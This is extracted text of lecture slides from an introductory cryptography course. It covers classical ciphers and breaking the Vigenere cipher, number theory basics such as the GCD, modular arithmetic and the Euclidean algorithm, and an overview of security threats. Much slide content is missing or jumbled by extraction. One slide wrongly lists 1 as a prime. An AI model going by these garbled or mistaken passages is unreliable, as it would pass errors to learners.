s S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
t T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
u U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
v V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
w W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
x X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
81
CIS 4520
Introduction to Vigenere Cipher
Cryptography
82
CIS 4520
Introduction to Security of Vigenere Cipher
Cryptography
Wenjing Zhang
• Vigenere masks the frequency with which a
character appears in a language
– one letter in the ciphertext corresponds to multiple
letters in the plaintext.
83
CIS 4520
Introduction to Vigenere Cipher
Cryptography
• Quiz
Wenjing Zhang
84
CIS 4520
Introduction to Vigenere Cipher
Cryptography
• Quiz
Wenjing Zhang
85
CIS 4520
Introduction to Recap: Shift Cipher
Cryptography
Wenjing Zhang
86
CIS 4520
Introduction to Recap: Substitution Cipher
Cryptography
Wenjing Zhang
87
CIS 4520
Introduction to Recap: Vigenere Cipher
Cryptography
Wenjing Zhang
88
CIS 4520
Introduction to Size of Key Space
Cryptography
Wenjing Zhang
89
CIS 4520
Introduction to Vigenere Cipher: Cryptanalysis
Cryptography
Wenjing Zhang
• Question: is Vigenere Cipher safe?
• Attack method:
– Determine the key length.
– Break the ciphertext into sub-pieces encrypted
with the same key letter.
– Solve each piece as a shift cipher.
90
CIS 4520
Introduction to How to Find the Key Length?
Cryptography
Wenjing Zhang
• Observation: for Vigenere, as the length of the
key increases, the letter frequency shows less
English-like characteristics and becomes more
random since the same letter in the message can
be encrypted in different ways.
Wenjing Zhang
• Powerful tool for cryptanalysis; analyze and break
coded messages that use periodic keys
• Algorithm:
– Search for pairs of identical segments (i.e.,
repeated sub-strings) of length at least 3
– Record distances between the two segments:
1, 2, …
– m divides gcd(1, 2, …)
92
CIS 4520
Introduction to Kasisky Test
Cryptography
Wenjing Zhang
• Example
93
CIS 4520
Introduction to Index of Coincidence
Cryptography
Wenjing Zhang
• Concept: A statistical measure of the likelihood
that two randomly selected letters from a string
are equal.
– Match ciphertext letter distribution with natural
language.
– Determining key length for polyalphabetic ciphers, e.g.,
Vigenere cipher
• Importance:
– Informs how the text is structured and how it might be
encrypted.
– Reveals cipher complexity: whether a simple
substitution cipher or a more complex method like a
polyalphabetic cipher has been used.
94
CIS 4520
Introduction to Index of Coincidence (IC)
Cryptography
Wenjing Zhang
95
CIS 4520
Introduction to Index of Coincidence (IC)
Cryptography
Wenjing Zhang
96
CIS 4520
Introduction to Index of Coincidence of English
Cryptography
𝑛𝑖
Wenjing Zhang
• For English, 𝑝𝑖 = 𝑁
can be estimated
i = 25
I c ( x) = pi = 0.065
2
i =0
Wenjing Zhang
• If m is the key length, then the text “looks like”
English text:
i = 25
I c ( x) = pi = 0.065
2
i =0
98
CIS 4520
Introduction to Use IC to Find Key Length: Algorithm
Cryptography
99
CIS 4520
Introduction to Finding the Key Length: Example
Cryptography
Wenjing Zhang
100
CIS 4520
Introduction to Finding the Key Length: Example
Cryptography
Wenjing Zhang
101
CIS 4520
Introduction to Attack on Vigenere Cipher
Cryptography
Wenjing Zhang
• Recall the note: A Vigenere cipher-encrypted
message consists of a collection of shift ciphers,
each corresponding to a letter in the key.
• Assume we have found that t is the key length - a
collection of t shift ciphers
102
CIS 4520
Introduction to Attack on Shift Cipher with IC
Cryptography
Wenjing Zhang
103
CIS 4520
Introduction to Attack on Substitution Cipher with IC
Cryptography
Wenjing Zhang
104
CIS 4520
Introduction to Attack on Vigenere Cipher with IC
Cryptography
Wenjing Zhang
105
CIS 4520
Introduction to Kasiski Test vs. Index of Coincidence
Cryptography
Wenjing Zhang
• Kasiski Test:
– Focus: Identifying repeating letter sequences in
ciphertext.
– Purpose: Estimates the length of the encryption key.
– Approach: Analyzes distances between repeating
sequences for key length.
– Ideal Use: More effective with longer ciphertexts.
– Limitation: Less effective with short texts.
• Index of Coincidence (IoC)
– Focus: Statistical analysis of letter frequencies.
– Purpose: Identifies segments encrypted with the same
key letter.
– Approach: Compares letter frequency in ciphertext to
standard English.
– Ideal Use: Useful regardless of text length.
– Limitation: Requires understanding of statistical norms.
106
CIS 4520
Introduction to Cryptanalysis: Summary
Cryptography
Wenjing Zhang
• Problem with monoalphabetic cipher?
– One mapping scheme for the entire encryption process
– Cryptanalysts could observe the patterns
• Countermeasure
– Use a different mapping for each character in the
plaintext - Vigenere cipher
• Breaking a Vigenere cipher
– Difficult
– First: find the key length
– Could use brute forth attack to try all possible key
lengths
– For each key length, observe the distribution patterns
(i.e., calculating Index of Coincidence).
107
CIS 4520
Introduction to Cryptanalysis: Summary
Cryptography
Wenjing Zhang
108
CIS 4520
Introduction to Classical Cryptography
Cryptography
Wenjing Zhang
to substitute
Substitution one thing for
Ciphers another
to substitute
one letter for
another Monoalphabetic
ciphers • Breaking the
to shift the
monoalphabetic cipher …
alphabet Shift is easy!
cipher – Cryptanalysts use properties
to shift the of plaintext
alphabet by 3
Caesar – What can be cryptographers’
cipher counter-moves?
109
CIS 4520
Introduction to Classical Cryptography
Cryptography
Wenjing Zhang
to substitute
Substitution one thing for
use multiple Ciphers another
alphabets
to substitute
one letter for
another Monoalphabetic Polyalphabetic Homophonic Polygram
ciphers ciphers ciphers ciphers
to shift the
alphabet Shift Vigenere multiple possible
cipher cipher encipher
output characters
groups of
for an input
to shift the letters at once
character
alphabet by 3
Caesar use a different
cipher shift (of the
alphabet) for each
input letter
110
CIS 4520
Introduction to Reading Assignment for Next Class
Cryptography
Wenjing Zhang
easy!
– Cryptanalysts use properties of plaintext
– What can be cryptographers’ counter-moves?
– Polyalphabetic ciphers
• use multiple alphabets: Vigenere Cipher
– Homophonic ciphers
• multiple possible output characters for an
input character
– Polygram ciphers
• encipher groups of letters at once
112
CIS 4520
Introduction to Homophonic Ciphers
Cryptography
113
CIS 4520
Introduction to Homophonic Ciphers
Cryptography
• Homophonic Ciphers
Wenjing Zhang
Plaintext | Homophones
A | 624, 18, 329, 19, 4
B | 5, 333, 511
C | 919, 14, 67, 83
D | 8, 13, 12
E | 414, 30, 238, 71, 15, 6
F | 61, 422
G | 413, 2, 16
• Encrypt: CAFE: 14 624 61 238
114
CIS 4520
Introduction to Homophonic Ciphers
Cryptography
character?
– Choice 1: fixed number
– Choice 2: variable: more for frequent plaintext
characters
– Which is better, why?
• Q2: Are there disadvantages to this?
– Inefficient: ciphertext longer than the plaintext
115
CIS 4520
Introduction to Homophonic Ciphers
Cryptography
• Homophonic Ciphers
Wenjing Zhang
• Encrypt: EXERCISES IN
CRYPTOGRAPHY ARE ESSENTIAL
FOR UNDERSTANDING
116
CIS 4520
Introduction to Substitution cipher
Cryptography
easy!
– Cryptanalysts use properties of plaintext
– What can be cryptographers’ counter-moves?
– Polyalphabetic ciphers
• use multiple alphabets: Vigenere Cipher
– Homophonic ciphers
• multiple possible output characters for an
input character
– Polygram ciphers
• encipher groups of letters at once
117
CIS 4520
Introduction to Polygram Ciphers
Cryptography
• Polygram ciphers
Wenjing Zhang
118
CIS 4520
Introduction to Playfair Cipher
Cryptography
Wenjing Zhang
• Key table: all the letters into a 5 by 5 table
– Treat I and J as one, or eliminate Q
A B C D E
F G H I/J K
L M N O P
Q R S T U
V W X Y Z
• Write the keyword (w/o duplicate ) at the
beginning
– Key: superbowl S U P E R
B O W L A
C D F G H
I/J K M N Q
T V X Y Z
119
CIS 4520
Introduction to Playfair Cipher
Cryptography
• Encryption
Wenjing Zhang
120
CIS 4520
Introduction to Playfair Cipher
Cryptography
Wenjing Zhang
• A pair of plaintext characters could be:
– same row in the key table
– same column
– different row and column
• Same row
– Substitute with letters on the immediate right
– mi → nk
S U P E R
B O W L A
C D F G H
I/J K M N Q
T V X Y Z
121
CIS 4520
Introduction to Playfair Cipher
Cryptography
Wenjing Zhang
• Same row
– Substitute with letters on the immediate right
– mi → nk
• Same column
– Substitute with letters directly below
– si → bt
S U P E R
B O W L A
C D F G H
I/J K M N Q
T V X Y Z
122
CIS 4520
Introduction to Playfair Cipher
Cryptography
Wenjing Zhang
• Same row
– Substitute with letters on the immediate right
– mi → nk
• Same column
– Substitute with letters directly below
– si → bt
• Different column and row
– substitute plaintext letter with
letter that is in its own row, S U P E R
and is in the column of the B O W L A
other plaintext letter C D F G H
– sx → pt I/J K M N Q
T V X Y Z
123
CIS 4520
Introduction to Playfair Cipher
Cryptography
Wenjing Zhang
• Example
– K = superbowl
– P = misxsisxsipxpi
– C = nkptbtptbtwpsm
• Practice:
– K = superbowl
– P = attack today
S U P E R
B O W L A
C D F G H
I/J K M N Q
T V X Y Z
124
CIS 4520
Introduction to Playfair Cipher
Cryptography
Wenjing Zhang
• Example
– K = superbowl
– P = misxsisxsipxpi
– C = nkptbtptbtwpsm
• Practice:
– K = superbowl
– P = attack today
– C = BZZB DIVB HOZY
• Decryption: S U P E R
– Same row B O W L A
• Substitute with letters on the left
C D F G H
– Same column
I/J K M N Q
• Substitute with letters above
– Different column and row
T V X Y Z
• Same as encryption
125
CIS 4520
Introduction to Vulnerabilities of Substitution Cipher
Cryptography
• Substitution ciphers
Wenjing Zhang
– Monoalphabetic cipher
– Polyalphabetic ciphers
– Homophonic ciphers
– Polygram ciphers
– “classical ciphers”
• Still vulnerable to various attacks
– Brute force attack ➔ when key space is small
– How to generate a large key space?
126
CIS 4520
Introduction to One-Time Pad: Motivation
Cryptography
• How to encrypt?
Wenjing Zhang
128
CIS 4520
Introduction to One-Time Pad
Cryptography
129
CIS 4520
Introduction to One-Time Pad
Cryptography
• Bit-wise XOR
Wenjing Zhang
c: C a f e
binary: 01000011 01100001 01100110 01100101
key: 33 72 31 79
binary: 00100001 01001000 00011111 01001111
p k: 01100010 00101001 01111001 00101010
130
CIS 4520
Introduction to One-Time Pad
Cryptography
• Bit-wise XOR
Wenjing Zhang
c: C a f e
binary: 01000011 01100001 01100110 01100101
key: 33 72 31 79
binary: 00100001 01001000 00011111 01001111
p k: 01100010 00101001 01111001 00101010
key: 33 72 31 79
binary: 00100001 01001000 00011111 01001111
c k: 01000011 01100001 01100110 01100101
131
CIS 4520
Introduction to One-Time Pad: Perfect Security
Cryptography
132
CIS 4520
Introduction to Perfect Secrecy: Formal Definition
Cryptography
133
CIS 4520
Introduction to Perfect Secrecy
Cryptography
134
CIS 4520
Introduction to One-Time Pad
Cryptography
• “Book ciphers”
– Alice and Bob share a book as key
– novels
– newspapers
– telephone books
– pieces of music
– decks of cards
136
CIS 4520
Introduction to Classical Cryptography
Cryptography
Wenjing Zhang
to substitute
Substitution one thing for
use multiple Ciphers another
alphabets
to substitute
one letter for
another Monoalphabetic Polyalphabetic Homophonic Polygram
ciphers ciphers ciphers ciphers
to shift the
alphabet Shift Vigenere multiple possible
cipher cipher encipher
output characters
groups of
for an input
to shift the letters at once
character
alphabet by 3
Caesar use a different
cipher shift (of the
alphabet) for each
input letter
137
CIS 4520
Introduction to Transposition Ciphers
Cryptography
138
CIS 4520
Introduction to Substitution vs. Transposition Ciphers
Cryptography
• Substitution Ciphers:
Wenjing Zhang
139
CIS 4520
Introduction to Substitution vs.Transposition Ciphers
Cryptography
140
CIS 4520
Introduction to Transposition Ciphers
Cryptography
Wenjing Zhang
141
CIS 4520
Introduction to Columnar Transposition
Cryptography
142
CIS 4520
Introduction to Columnar Transposition
Cryptography
(matrix)
– Write plaintext row by row
– Read ciphertext column by column
– Key: order of the column
• Example
– P = “ATTACKTODAY”
3 4 2 1
A T T A
C K T O
D A Y X
• Ciphertext: AOXTTYACDTKA
143
CIS 4520
Introduction to Columnar Transposition
Cryptography
(matrix)
– Write plaintext column by column
– Read ciphertext row by row
– Key: order of the column
• Ciphertext: AOXTTYACDTKA
3 4 2 1
A T T A
C K T O
D A Y X
• Plaintext: ATTACKTODAYX
144
CIS 4520
Introduction to General Transposition
Cryptography
•
Wenjing Zhang
Most transpositions use fixed period d
• Let Zd be the integers from 1 to d
• Let f: Zd → Zd be a permutation over Zd
• Key for the cipher is K = (d, f)
• Message:
M = m1, m2, ..., md, md+1, ..., m2d, ...
• Ciphertext
C=mf(1), mf(2), ..., mf(d), md+f(1), ..., md+f(d), ...
145
CIS 4520
Introduction to General Transposition
Cryptography
• Example:
Wenjing Zhang
– m1 m2 m3 m4 → m2 m4 m1 m3
– P = GUEL PH
– C = ULGE HP
• Cryptanalysis
Wenjing Zhang
147
CIS 4520
Introduction to Combinations of Approaches
Cryptography
148
CIS 4520
Introduction to Combinations of Approaches
Cryptography
149
CIS 4520
Introduction to Combinations of Approaches
Cryptography
150
CIS 4520
Introduction to Combinations of Approaches
Cryptography
151
CIS 4520
Introduction to Stream and Block Ciphers
Cryptography
• Stream ciphers
Wenjing Zhang
• Block ciphers
– Transposition ciphers with period p
– Playfair
– DES (Data Encryption Standard)
– AES (Advanced Encryption Standard)
153
CIS 4520
Introduction to Stream and Block Ciphers
Cryptography
• Stream ciphers
Wenjing Zhang
– Terminology
– Cryptography and Cryptanalysis
– Secret/Symmetric Key Cryptography
• Substitution ciphers
– Caesar, Shift, Vigenere, Homophonic, Playfair
– One-time pad
• Transposition ciphers
• Combinations
• Shannon’s theory of secrecy systems
(perfect secrecy)
155
CIS 4520
Introduction to Reading Assignment for Next Class
Cryptography
Wenjing Zhang
Wenjing Zhang
Introduction to
Number Theory
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Outline
properties
– fundamental to cryptography because many
encryption/decryption algorithms are based on
the properties of numbers
• We will start with the basic principles of
– divisibility
– greatest common divisor
– modular arithmetic
• We will then look at some relevant
algorithms
CIS 4520
Introduction to
Cryptography
Outline
properties
• We will start with the basic principles of
– divisibility
– greatest common divisor
– modular arithmetic
• We will then look at some relevant
algorithms
CIS 4520
Introduction to
Cryptography
Divisibility
Wenjing Zhang
• Concepts
– If a and b are integers with a 0, we say that
a divides b if there is an integer c so that b =
ac.
– When a divides b we say that a is a factor of b
and that b is a multiple of a.
– The notation a | b means that a divides b; a b
means a does not divide b
– Example: 2 | 24 (because 24=2*12); 13 | 182
(because 182=13*14); 17 | 289; - 3 | 33; 17 | 0
4
CIS 4520
Introduction to
Cryptography
Divisibility
• Properties
Wenjing Zhang
– If a | b and b | c, then a | c
• Example: 4 | 8 and 8 | 24, so 4 | 24
– If a | b and a | c, then a | (b + c)
• Example: 3 | 6 and 3 | 9, so 3 | 15
– If a | b, then a | bc for all integers c
• Example: 5 | 10, so 5 | 20, 5 | 30, 5 | 40, …
– If b | g and b | h, then b | (mg + nh) for arbitrary integers
m and n
• Example: b = 7; g = 14; h = 63; m = 3; n = 2
• Proof:
To show 7 | (3 * 14 + 2 * 63),
we have (3 * 14 + 2 * 63) = 7*(3 * 2 + 2 * 9),
and it is obvious that 7 | (7*(3 * 2 + 2 * 9)).
5
CIS 4520
Introduction to
Cryptography
Prime Numbers
Wenjing Zhang
• A positive integer p greater than 1 is called
prime if the only positive factors of p are 1
and p.
– Example: 1, 2 (because 2=1*2), 3 (because
3=1*3), 5 (because 5=1*5), 7(because 7=1*7),
• A positive integer that is greater than 1 and
is not prime is called composite.
– Example: 4 (because 4=2*2), 6 (because
6=2*3), 8 (because 8=2*4),
• TopHat Quiz
6
CIS 4520
Introduction to
Cryptography
Prime Numbers
Wenjing Zhang
• The Fundamental Theorem of Arithmetic:
– Every integer greater than 1 that is not a prime
can be written uniquely as a product of primes
that are written in non-decreasing order.
– Example: the number 12 can be factored into
2*2*3
– This unique factorization is like a fingerprint
for numbers.
• Relevance to Cryptography:
– Many encryption algorithms rely on the
difficulty of factoring large numbers into the
product of primes as a security measure.
7
CIS 4520
Introduction to
Cryptography
Prime Factorization
Wenjing Zhang • Breaking down a number into its prime number
components.
• In cryptography, we often work with prime factors
to encrypt and decrypt messages securely.
• Examples:
15 = 3·5
48 = 2·2·2·2·3 = 24·3
17 = 17
512 =2·2·2·2·2·2·2·2·2 = 29
515 =5·103
• TopHat Quiz
8
CIS 4520
Introduction to
Cryptography
The Division Algorithm
Wenjing Zhang
• Important mathematical tool in cryptography for
dividing integers; helping in understanding
modular arithmetic in encryption algorithms.
9
CIS 4520
Introduction to
Cryptography
The Division Algorithm
Wenjing Zhang
• Example: When we divide 17 by 5, we have
17 = 5*3 + 2.
– 17 is the dividend,
– 5 is the divisor,
– 3 is called the quotient, and
– 2 is called the remainder.
10
CIS 4520
Introduction to
Cryptography
The Division Algorithm
Wenjing Zhang
• Another example: What happens when we divide
-11 by 3 ?
-11 = 3(-4) + 1
11
CIS 4520
Introduction to
Cryptography
Outline
properties
• We will start with the basic principles of
– divisibility
– greatest common divisor
– modular arithmetic
• We will then look at some relevant
algorithms
CIS 4520
Introduction to
Cryptography
Greatest Common Divisor (GCD)
Wenjing Zhang
• Definition: Let a and b be integers, b is nonzero.
The largest integer d such that d | a and d | b is
called the greatest common divisor of a and b,
denoted by gcd(a, b).
13
CIS 4520
Introduction to
Cryptography
Greatest Common Divisor (GCD)
Wenjing Zhang
14
CIS 4520
Introduction to
Cryptography
Relatively Prime Integers
Wenjing Zhang
• Definition: Two integers a and b are relatively
prime (or coprime) if gcd(a, b) = 1.
• Examples:
– Are 15 and 28 relatively prime?
• Yes, gcd(15, 28) = 1.
– Are 55 and 28 relatively prime?
• Yes, gcd(55, 28) = 1.
– Are 35 and 28 relatively prime?
• No, gcd(35, 28) = 7.
15
CIS 4520
Introduction to
Cryptography
Find Greatest Common Divisor
Wenjing Zhang
• Using prime factorizations:
Denote a = p1a1 p2a2 … pnan , b = p1b1 p2b2 … pnbn ,
where p1 < p2 < … < pn and ai, bi N for 1 i n,
then gcd(a, b) = p1min(a1, b1 ) p2min(a2, b2 ) … pnmin(an, bn )
• Example: gcd(a, b)
a = 60 = 22 31 51
b = 54 = 21 33 50
gcd(a, b) = 21 31 50 = 6
16
CIS 4520
Introduction to
Cryptography
Pairwise Relatively Prime Integers
Wenjing Zhang
• Definition: The integers a1, a2, …, an are pairwise
relatively prime if gcd(ai, aj) = 1 whenever 1 i <
j n.
• Examples:
– Are 15, 17, and 27 pairwise relatively prime?
• No, because gcd(15, 27) = 3.
17
CIS 4520
Introduction to
Cryptography
Outline
properties
• We will start with the basic principles of
– divisibility
– greatest common divisor
– modular arithmetic
• We will then look at some relevant
algorithms
18
CIS 4520
Introduction to
Cryptography
Modular Arithmetic
Wenjing Zhang • Definition: Modular Arithmetic is a system of
arithmetic for integers, where numbers start
back at zero after reaching a certain value,
known as the modulus.
• Applications:
• Public-Key Cryptosystems, RSA encryption and
decryption, Generating Digital Signatures, Diffie-
Hellman Key Exchange
19
CIS 4520
Introduction to
Cryptography
Modular Arithmetic
Wenjing Zhang
• Let 𝑎 be an integer and 𝑛 be a positive integer.
We denote by 𝑎 𝑚𝑜𝑑 𝑛, the remainder when 𝑎 is
divided by 𝑛.
• r ≡ 𝑎 𝑚𝑜𝑑 𝑛
– 𝑎 = 𝑞𝑛 + 𝑟
– r is the non−negative remainder when n divides a
– n is called the modulus
– we’re in CS, we also write r = 𝑎 𝑚𝑜𝑑 𝑛
• Example:
– 9 𝑚𝑜𝑑 4 = 1
– 9 𝑚𝑜𝑑 3 = 0
– 9 𝑚𝑜𝑑 10 = 9
– −11 𝑚𝑜𝑑 7 = 3
20
CIS 4520
Introduction to
Cryptography
Modular Arithmetic: The Clock Example
Wenjing Zhang
21
CIS 4520
Introduction to
Cryptography
Congruences
Wenjing Zhang
• Let a and b be integers and n be a positive integer.
We say that a is congruent to b modulo n if n
divides a – b.
22
CIS 4520
Introduction to
Cryptography
Congruences
Wenjing Zhang
• Examples:
– Is it true that 46 68 (mod 11)?
• Yes, because 11 | (46 – 68).
– Is it true that 46 68 (mod 22)?
• Yes, because 22 | (46 – 68).
– For which integers z, is it true that z 12
(mod 10)?
• It is true for any z{…,-28, -18, -8, 2, 12, 22, 32,
…}
23
CIS 4520
Introduction to
Cryptography
Modular Arithmetic
Wenjing Zhang
• The (mod n) operator maps all integers into the set
of integers {0,1,…,(n-1)}, denoted by Zn.
• Example: Z5 ={0, 1, 2, 3, 4}
• This suggests the question: Can we perform
arithmetic operations within the confines of this
set?
• It turns out that we can; this technique is known as
modular arithmetic.
• This property enables manageable handling of
large numbers in cryptography by limiting their
size.
24
CIS 4520
Introduction to
Cryptography
Congruences
Wenjing Zhang
• Theorem: Let n be a positive integer. The integers
a and b are congruent modulo n if and only if
there is an integer k such that a = b + kn.
– In other words, a = b (mod n) n |(a − b)
• Properties:
– a = b (mod n) b = a (mod n)
– a = b (mod n) and b = c (mod n) then a = c (mod n)
• Examples:
– 23 = 8 (mod 5) because 23 - 8 = 15 = 5 * 3
– - 11 = 5 (mod 8) because - 11 - 5 = - 16 = 8 * (- 2)
– 81 = 0 (mod 27) because 81 - 0 = 81 = 27 * 3
25
CIS 4520
Introduction to
Cryptography
Congruences
Wenjing Zhang
• Theorem: Let n be a positive integer.
If a b (mod n) and c d (mod n), then
a + c b + d (mod n) and ac bd (mod n).
• Proof:
– We know that a b (mod n) and c d (mod n)
implies that there are integers s and t with
b = a + sn and d = c + tn.
– Therefore, b + d = (a + sn) + (c + tn) = (a + c)
+ n(s + t) and bd = (a + sn)(c + tn) = ac + n(at
+ cs + stn).
– Hence, a + c b + d (mod n) and ac bd (mod
n).
26
CIS 4520
Introduction to
Cryptography
Modular Arithmetic Operations
Wenjing Zhang
• Modular Addition and Multiplication
– Arithmetic operations within the set Zn={0,1,…,(n-1)}
– Examples: (5+7) mod 10 =? (5*7) mod 10 = ?
• Properties:
– (a + b) mod n = [(a mod n) + (b mod n)] mod n
– (a - b) mod n = [(a mod n) - (b mod n)] mod n
– (a * b) mod n = [(a mod n) * (b mod n)] mod n
• More examples
– (978 + 1047) mod 10 =?
– (111 * 112) mod 10 =?
• Modular Exponentiation
– Can be done by repeated multiplication
– 27 mod 5 =?
– 115 mod 13 =?
27
CIS 4520
Introduction to
Cryptography
Properties of Modular Arithmetic in Zn
Wenjing Zhang
28
CIS 4520
Introduction to
Cryptography
Additive and Multiplicative Identities
Wenjing Zhang
• Building blocks of many operations in
cryptography
29
CIS 4520
Introduction to
Cryptography
Additive Inverse
Wenjing Zhang
• Definition: The number which, when added to
the original number, results in zero.
30
CIS 4520
Introduction to
Cryptography
Additive Inverse
Wenjing Zhang
Addition modulo 8
31
CIS 4520
Introduction to
Cryptography
Multiplicative Inverse
• Definition: The multiplicative inverse of a number 𝑎 is
Wenjing Zhang
another number 𝑏 such that
𝑎×𝑏 =1
• Modular Context: looking for a number 𝑏 such that
𝑎 × 𝑏 = 1 𝑚𝑜𝑑 𝑛
Multiplication modulo 8
33
CIS 4520
Introduction to
Cryptography
Additive and Multiplicative Inverses
Wenjing Zhang
34
CIS 4520
Introduction to
Cryptography
Summary
• Divisibility
Wenjing Zhang
35
CIS 4520
Introduction to
Cryptography
Outline
properties
• We will start with the basic principles of
– divisibility
– greatest common divisor
– modular arithmetic
• We will then look at some relevant
algorithms
CIS 4520
Introduction to
Cryptography
The Euclidean Algorithm
Wenjing Zhang
• One of the basic techniques of number theory.
37
CIS 4520
Introduction to
Cryptography
Euclidean Algorithm
Wenjing Zhang
• Recall the property of GCD: gcd(a,b) =
gcd(a−kb,b) = gcd(b, a−kb) = gcd(b, a mod b)
base case
recursive case
38
CIS 4520
Introduction to
Cryptography
Euclidean Algorithm
Wenjing Zhang
• Recall the property of GCD: gcd(a,b) =
gcd(a−kb,b) = gcd(b, a−kb) = gcd(b, a mod b)
base case
recursive case
• Example:
– a=3, b=5, gcd(a,b)=1
– 2*3+ (-1) *5 = 1 (solution: s=2, t=-1)
40
CIS 4520
Introduction to
Cryptography
Find Multiplicative Inverse
Wenjing Zhang • The Extended Euclidean Algorithm can be used to
calculate the multiplicative inverse of a mod n, if a
and n are relatively prime.
41
CIS 4520
Introduction to
Cryptography
Pseudocode
Wenjing Zhang
base case
recursive case
extended part
42
CIS 4520
Introduction to
Cryptography
Implementation Code
Wenjing Zhang
43
CIS 4520
Introduction to
Cryptography
Extended Euclidean Algorithm
Wenjing Zhang
(-10)*35 + 13*27 = 1
Question:
what is the multiplicative inverses of 35 mod 27?
44
CIS 4520
Introduction to
Cryptography
Extended Euclidean Algorithm
Wenjing Zhang
45
CIS 4520
Introduction to
Cryptography
Extended Euclidean Algorithm
Wenjing Zhang
46
CIS 4520
Introduction to
Cryptography
Extended Euclidean Algorithm
Wenjing Zhang
47
CIS 4520
Introduction to
Cryptography
Summary
• Euclidean Algorithm
Wenjing Zhang
– finding GCDs
• Extended Euclidean Algorithm
– finding multiplicative inverses in modular
arithmetic
48
CIS 4520
Introduction to
Cryptography
Slides Refences
Wenjing Zhang
• Questions?
Wenjing Zhang
Introduction to Cryptography
CIS 4520
Introduction to Information Security
• Background
‒ Why study security, evolution of cyber threats and attack
techniques, consequences
• The Controls
‒ Methods of defense, security lifecycle, principle of
effectiveness
2
Why Study Security?
Adversaries/ computer criminals:
People attack systems and do damage
Why do they attack?
Financial motivation
Industrial spying
Angry employees
Bored teenagers
….
How do they attack?
Network attacks
Exploit vulnerabilities in applications and security mechanisms
Physical access
….
Whom do they attack?
Banks
Government agencies
E-commerce web sites
Hollywood
Universities (playground)
….
3
Universities Are (Still?) Prime Targets
4
Universities Are (Still?) Prime Targets
Universities often
run systems with vulnerabilities
have little monitoring
have little management
Universities promote free exchange of ideas
wide access
Student population frequently changes
old accounts stay around
often student workers (little training)
Many departments
one dept. doesn’t always know what the other is doing
5
Evolution of Cyber Threats and Attack Techniques
Bıçakcı, Salih, F. Doruk Ergun, and Mitat Çelikpala. "The Cyber security scene in Turkey." Sinan Ülgen, Grace Kim (szerk.): A primer on cyber security in Turkey: and the case of nuclear power (2015): 22-51.
6
Cybersecurity Attacks
BOTS
‒ Short for "robots," these are automated software programs that perform tasks
on the internet, which can include malicious activities like launching attacks.
Malicious Code
‒ This refers to software or scripts that are intended to cause harm to a computer,
server, client, or network.
Zombies
‒ Computers that have been infected by a virus or a Trojan horse and can be
controlled remotely for malicious purposes, often part of a botnet.
Morphing
‒ In the context of cybersecurity, this might refer to code that changes its
appearance or structure to evade detection by security software.
7
Cybersecurity Attacks (cont’d)
"Stealth" / Advanced Scanning Techniques
‒ Methods of scanning or probing systems in a way that avoids detection by
standard security measures.
Automated Probes/Scans
‒ The use of automated software to scan a network or system to identify
vulnerabilities that can be exploited.
Denial of Service
‒ The goal here is to shut down a machine or network, making it inaccessible to its
intended users by overwhelming it with traffic.
GUI attack
‒ Harmful actions aimed at the visual elements—like windows, icons, and
buttons—of software or operating systems through which users interact, such as
Clickjacking or Fake Dialog Boxes.
8
Cybersecurity Attacks (cont’d)
Packet Spoofing
‒ Sending packets to a computer with a false IP address to trick it into accepting
them as legitimate.
Sniffers
‒ Software or hardware tools used to monitor and capture data packets as they
travel across the network.
Sweepers
‒ Tools that automatically scan networks or systems for vulnerabilities.
Hijacking Sessions
‒ Taking control of a user's session to gain unauthorized access to a system or data.
9
Cybersecurity Attacks (cont’d)
Disabling Audits
‒ Turning off or interfering with security auditing systems to avoid detection.
Password Cracking
‒ Using various techniques to guess or decipher a user's password.
Self-Replicating Code
‒ Code that can copy itself from one system to another, like a worm.
Password Guessing
‒ Attempting to log into a system by guessing passwords.
10
How big is the problem?
https://www.embroker.com/blog/cyber-attack-statistics/ 11
How big is the problem?
Biggest Data Breach Incidents in Recent Years
12
How big is the problem? (cont’d)
13
How big is the problem? (cont’d)
Data Breach Incidents reported
14
How big is the problem? (cont’d)
15
How big is the problem? (cont’d)
Internet attacks are increasing in frequency, severity, and sophistication
16
How big is the problem?(cont’d)
In the first half year of 2005, 237 million network attacks launched
IBM Global Business Security Index Report
17
How serious is the problem?
E.g., December 2015 Ukraine power grid cyberattack: 230K people were left without electricity for a period from 1 to 6
hours https://en.wikipedia.org/wiki/December_2015_Ukraine_power_grid_cyberattack
18
Why does this happen?
Security has become one of the hottest jobs even with downturn of economy
19
Example Security Incident: The Stuxnet Worm (2010)
Targeted Iranian nuclear power plants.
The Stuxnet worm is initially spread using infected removable drives such
as USB flash drives.
http://en.wikipedia.org/wiki/Stuxnet
20
Outline
• Background
‒ Why study security, evolution of cyber threats and attack
techniques, consequences
• The Controls
‒ Methods of defense, security lifecycle, principle of
effectiveness
21
Vulnerability, Threats, Attack
Vulnerability: security weakness that might be exploited
to cause undesired consequences
22
Vulnerability vs. Threats
23
Controls
24
Category of Security Attacks
Passive attacks
Eavesdropping
Traffic analysis
Active attacks
Masquerade, modification, insertion, delay, replay,
deletion
25
Passive Attacks
Eavesdropping
‒ This is like listening secretly to someone's conversation. In
technology, it means someone is secretly monitoring what
you are doing online.
Traffic Analysis
‒ This is when someone monitors the flow of information on
the internet to learn something, such as when you're online
and what websites you visit.
26
Active Attacks
Masquerade
‒ This is when the attacker pretends to be someone else to get unauthorized
access.
Modification
‒ Changing the information in a message, like the amount in a bank transfer.
Insertion
‒ Adding extra information or messages that weren't there before.
Delay
‒ Holding up the information on purpose, so it arrives late.
Replay
‒ Sending the same information again to confuse or trick the system.
Deletion
‒ Removing information so it never reaches the intended recipient.
27
Notions of Security
Think as many concepts as you can relate to security in our
everyday world
28
Meaning of Information Security
Security should provide:
‒ Confidentiality
‒ Integrity
‒ Availability (implies timely availability)
Other factors?
‒ Authentication
‒ Authorization
‒ Non-Repudiation
‒ Privacy Availability
29
The CIA Notion
Confidentiality
Restricting access to information only to authorized
entities
Integrity
Ensuring that the information has not been altered
by an unauthorized entity
Availability
Ensuring the accessibility and usability of a system
or resource by an authorized entity
30
Other Factors
Authentication
ID Authentication
